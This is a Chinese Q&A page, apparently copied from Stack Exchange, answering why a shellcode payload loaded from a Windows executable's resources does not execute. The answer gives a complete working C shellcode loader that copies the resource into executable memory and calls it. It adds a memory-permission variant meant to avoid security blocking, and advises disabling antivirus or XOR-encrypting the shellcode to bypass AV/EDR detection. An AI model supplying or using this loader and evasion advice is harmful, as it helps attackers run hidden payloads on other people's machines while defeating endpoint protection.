You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

内存中资源加载后无执行效果问题排查求助

资源加载执行无响应的排查与解决
  • 补全API返回值校验,修正资源指针获取逻辑
    你的代码缺少关键错误检查,且直接使用LoadResource的返回值作为内存源指针是错误的——LoadResource返回的是资源句柄,必须通过LockResource才能拿到可读写的实际内存地址。修改后的代码片段:

    #include <windows.h>
    #include <stdio.h>
    
    #define IDR_BIN1 102
    
    int main() {
        HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_BIN1), "BIN1");
        if (!shellcodeResource) {
            printf("FindResource失败,错误码:%d\n", GetLastError());
            return 1;
        }
    
        DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
        HGLOBAL shellcodeResourceData = LoadResource(NULL, shellcodeResource);
        if (!shellcodeResourceData) {
            printf("LoadResource失败,错误码:%d\n", GetLastError());
            return 1;
        }
    
        void* shellcodePtr = LockResource(shellcodeResourceData);
        if (!shellcodePtr) {
            printf("LockResource失败,错误码:%d\n", GetLastError());
            return 1;
        }
    
        void* exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (!exec) {
            printf("VirtualAlloc失败,错误码:%d\n", GetLastError());
            return 1;
        }
    
        memcpy(exec, shellcodePtr, shellcodeSize);
        ((void(*)())exec)();
        return 0;
    }
    
  • 调整内存权限分配策略
    部分安全环境会直接拦截PAGE_EXECUTE_READWRITE权限的内存分配,建议先以PAGE_READWRITE权限分配内存,写入shellcode后再修改为PAGE_EXECUTE_READ权限:

    void* exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!exec) {
        printf("VirtualAlloc失败,错误码:%d\n", GetLastError());
        return 1;
    }
    memcpy(exec, shellcodePtr, shellcodeSize);
    
    DWORD oldProtect;
    if (!VirtualProtect(exec, shellcodeSize, PAGE_EXECUTE_READ, &oldProtect)) {
        printf("VirtualProtect失败,错误码:%d\n", GetLastError());
        return 1;
    }
    ((void(*)())exec)();
    
  • 验证Shellcode本身的有效性

    • 确认资源中嵌入的shellcode与程序编译架构(x86/x64)完全匹配,架构不兼容会导致无响应或崩溃。
    • 单独测试shellcode的有效性:比如用简单的弹窗shellcode替换现有内容,验证执行逻辑是否正常。
  • 排查安全软件拦截
    杀毒软件、EDR等安全工具会监控内存执行类操作,这种直接加载资源执行shellcode的行为极易被拦截。可以暂时关闭安全软件测试,或对shellcode做简单加密(比如异或),在内存中解密后再执行,绕过基础检测。

内容的提问来源于stack exchange,提问作者Роман

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.28 07:04:54